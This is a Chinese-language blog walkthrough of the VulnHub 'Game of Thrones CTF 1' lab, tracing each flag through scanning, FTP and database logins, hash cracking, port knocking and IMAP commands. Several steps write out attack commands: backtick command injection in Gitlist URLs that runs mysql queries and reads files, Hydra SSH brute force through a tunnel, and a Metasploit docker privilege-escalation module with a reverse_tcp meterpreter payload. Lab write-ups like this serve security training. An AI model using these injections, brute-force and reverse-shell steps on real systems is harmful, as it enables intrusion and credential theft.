2020-1-14:vulnhub靶场练习,Ganme of Thrones CTF

一、环境搭建

1,下载连接,https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/

2,下载之后使用VirtualBox虚拟机软件导入,启动即可

二、渗透练习

1,获取ip地址,因为靶场我使用的桥接模式

直接运行netdiscover命令,得到靶机ip地址为,192.168.0.161

 2,获取靶场端口信息

输入命令,nmap -sV -o 192.168.0.161

 -sV,扫描端口以及对应的服务名和版本号

-O,远程检测操作系统和版本

3, 发现开启了80的端口,服务是http服务,就访问下,网页循环播放,权利的游戏主题曲,嫌吵的就关闭就行

常规做web类ctf的套路,查看源码,看看是否有提示,发下目标,注意事项等等的

 4,探测网站目录

输入命令 ,dirb http://192.168.0.161/ ,探测下网站有的一些目录,文件等,发现有robots.txt文件

robots是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

 访问robots文件,看看是什么目录不让爬取的

 既然是不让爬取的,那就自己访问看看是否有什么发现,是个动图,并且下边有可以点击的链接

 点开为一个地图,是要获取的7个flag所在的位置,就是那几个服务

然后访问另外一个不让爬取的目录,又发现一张图片,没有什么敏感 信息

 

 5,根据robots.txt得到的信息,访问/the-tree/目录,并将数据包头改为,User-agent: Three-eyed-raven,得到了一张提示图片

 查看图片,发现一串密码,记录下来

 

6,dirb扫描目录,发现一个url,http://192.168.0.161/h/i/d/d/e/n/index.php 

 访问又是一张提示图片

查看源码

 根据得到的提示,Dorne,查看地方,发现为FTP服务器,使用得到的用户名oberynmartell,尝试输入密码,A_verySmallManCanCastAVeryLargeShad0w

成功登录FTP

 

使用get 文件名,下载两个文件到本地,查看,得到一个HASH,复制出来创建一个a.txt,将HASH值方进去,使用john the ripper解密这个HASH

 

输入命令:john --format=dynamic_2008 a.txt --show 得到密码,stark

 

 使用mcrypt解密得到的.nc文件,提示需要密码,输入得到的密码stark,解密成功,得到一个用户名和密码

 7,直接访问提示的网站域名是无法访问的,所以改了下url,http://192.168.0.161/------W1nt3rf3ll------/,但是被鄙视了

 8,将提示信息,添加到/etc/hosts文件中再次访问

输入得到的用户名和密码,得到第二个flag

 

 9,看提示说是第二个flag,那为啥没看到第一个,想了下之前提示

 

 

 10,暗示音乐,就把音乐给下载下载,使用exiftool进行查看,得到一个flag

 11,根据得到的flag2的提示,盾徽是个突破口,将整个图片下载了,进行查看

cat index.jpeg,看到最后一句提示

 

 12,看地图,第三个目标是DNS,所以查询下DNS记录,使用nslookup命令,可以查询对于Ip,A记录,MX记录,CNAME记录,txt记录,看提示TXT明显大写了,所以查询下txt记录

输入命令:nslookup -q=txt Timef0rconqu3rs.7kingdoms.ctf 192.168.0.161,得到flag3,以及下一个提示

 13,下一个目标为10000端口,账号密码已经给出了,访问

 输入账号密码,

用户名:aryastark

密码:N3ddl3_1s_a_g00d_sword#!

 输入框随便输入

不过直接输入flag,搜不到信息的

 14,随便搜索一个信息,点击File Manager,提示要JAVA,但是浏览器没有

 15,浏览器必须支持加载JAVA小程序才行

 

 使用ie浏览器,IE浏览器一定要设置启动JAVA脚本,允许运行JAVA脚本,JAVA要设置好网站例外站点,否则JAVA小程序无法加载

 根据提示,到/home/目录下,找到flag.txt

得到flag4

16,提示信息下,又出现一个账号密码,看提示,就是postgresql的数据库,根据nmap扫描的信息,靶机有启动postgresql

 使用Navicat Premium 12输入得到的账号密码,还有数据库名,测试连接,连接成功

 

看到一个flag的视图,但是无法直接在Navicat下看到

 17,使用命令行连接,看到flag

 查看flag为base64加密的字符串

TmljZSEgeW91IGNvbnF1ZXJlZCB0aGUgS2luZ2RvbSBvZiB0aGUgTW91bnRhaW4gYW5kIHRoZSBWYWxlLiBUaGlzIGlzIHlvdXIgZmxhZzogYmIzYWVjMGZkY2RiYzI5NzQ4OTBmODA1YzU4NWQ0MzIuIE5leHQgc3RvcCB0aGUgS2luZ2RvbSBvZiB0aGUgUmVhY2guIFlvdSBjYW4gaWRlbnRpZnkgeW91cnNlbGYgd2l0aCB0aGlzIHVzZXIvcGFzcyBjb21iaW5hdGlvbjogb2xlbm5hdHlyZWxsQDdraW5nZG9tcy5jdGYvSDFnaC5HYXJkM24ucG93YWggLCBidXQgZmlyc3QgeW91IG11c3QgYmUgYWJsZSB0byBvcGVuIHRoZSBnYXRlcw==

 解密,得到flag5

 18,查看数据库中其他信息

 

 

 

 19,发现可疑字符串

 发现为rot16加密的字符串

 得到密码,ValarMorghulis,不清楚账号是哪个

19,逐个尝试之后,发现为TheRedWomanMelisandre这个账户的密码,数据库为braavos,测试连接成功,得到隐藏flag

 

20,看地图,下一个要完成的服务为imap服务,但是143端口没有打开,想起之前三眼乌鸦的提示,POLITE

数据库中也有这个字样,翻译过来意思是需要敲门

 

 查询,发现有一个敲门服务

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

21,kali安装敲门服务,apt-get install knockd

knock 192.168.0.161 3487 4535 12345,运行之后,发现143端口启动,其实第一次扫的时候就发现已经启动了,但是找到的攻略有,所以操作了一下,又知道一个新服务

 

 22,使用nc进行连接

输入命令,nc 192.168.0.161 143

 连接成功,输入命令,a login [email protected] H1gh.Gard3n.powah,就是之前得到的flag5里提示的信息账号密码,进行登录

 输入命令,a list "" "*" ,列出

 输入命令 a select INBOX,查询

 输入命令,a fetch 1 rfc822,得到邮件,得到里面的flag6

 23,按照提示需要访问1337端口

 输入邮件里得到的账号密码,登录成功

 24,浏览下所有的文件

 

 25,第一个文件下有个16进制字符串,2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874,转码之后得到一个目录,/home/tyrionlannister/checkpoint.txt这个文件应该就是要获得的文件

 26,通过漏洞扫描,发现网站命令执行漏洞,http://192.168.0.161:1337/casterly-rock/tree/master/""`whoami`/

得到账号密码,和数据库, 

账号:cerseilannister

密码:_g0dsHaveNoMercy_

数据库:kingslanding

 获得当前数据库中的表,http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_  -D kingslanding --execute="show tables"`/

获得表中的字段的值,http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_  -D kingslanding --execute="select * from iron_throne"`/

得到一串,摩斯密码 ,-..-. . - -.-. -..-. -- -.-- ... --.- .-.. -..-. ..-. .-.. .- --.,解密之后,应该为一个目录/etc/mysql/flag

 

还有一个提示,提示还有权限,所以查看下权限,http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_  -D kingslanding --execute="show grants"`/

 看到有,GRANT SELECT, INSERT, CREATE权限,那就可以将之前得到的目录下flag文件,导入到内容中,进行查看

http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_  -D kingslanding --execute="create table test(flag TEXT)"`/,创建一个临时表

http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_  -D kingslanding --execute="LOAD data INFILE '/etc/mysql/flag' into table test"`/,将flag内容导入临时表

http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_  -D kingslanding --execute="select * from test"`/,进行查看

得到flag信息,还有最后的提示,和ssh的账户信息

27,使用得到的ssh账户密码,登录主机

用户名:daenerystargaryen

密码:.Dracarys4thewin.

 输入命令,ssh [email protected],之后输入密码,登录成功

 28,收集信息

 

 29,提示说这里是172.25.0.2唯一入口,应该是这台主机下没有需要的信息,又给了digger.txt字典文件,应该是要爆破172.25这台机器的密码进行登录,获取权限,所以退出连接的ssh,使用scp命令,将字典文件下载到kali机器上 ,scp [email protected]:/home/daenerystargaryen/digger.txt ./digger.txt

将使用ssh服务,将172.25.0.2机器的ssh端口,绑定到本地2222端口

ssh [email protected] -L 2222:172.25.0.2:22 -N

 使用Hydra进行爆破,hydra -l root -P ./digger.txt ssh://127.0.0.1:2222,得到root账户密码Dr4g0nGl4ss!

 30,使用ssh登录root账户,输入命令ssh [email protected] -p 2222 ,登录成功

 得到最后的隐藏flag

 

根据提示的信息,账号密码

ssh账号:branstark

密码:Th3_Thr33_Ey3d_Raven

使用ssh重新连接靶机,查看信息,得到最后的决战,要获取真正靶机系统的root权限

 查看系统信息,发现服务器是搭建在docker上的

 31,利用msf里的docker提权脚本尝试提权

use exploit/linux/local/docker_daemon_privilege_escalation

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.0.103

set session 1

run

 发现提权成功

 查找文件,切换到root目录下,发现两个文件

 

通过meterpreter downloa命令,download /root/final_battle下载final_battle,发现为一个压缩包,加密文件,里面有文件flag.txt

 

32,根据提示,要得到最后的flag,需要得到三个secret_flag

三个secret_flag为:

8bf8854bebe108183caeb845c7676ae4,使用exiftppl在音乐中获得

3f82c41a70a8b0cfec9052252d9fd721,在Postgresql中,使用另外的一个账户TheRedWomanMelisandre登录到数据库braavos中获得

a8db1d82db78ed452ba0882fb9554fc9,在爆破172.25.0.2之后,使用root登录之后获得的flag

 

 33,根据代码提示,密码的公式为

concat(

    substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)),

    substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)),

    substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3))

)

34,根据公式,写下计算最后密码的脚本

得到密码Password:45c7676ae4252d9fd7212fb9554fc9

 

 35,使用得到的密码,将压缩文件final_battle,进行解压

 得到flag.txt文件,查看flag.txt,得到最终的flag

 完

猜你喜欢

转载自www.cnblogs.com/sym945/p/12194033.html
ctf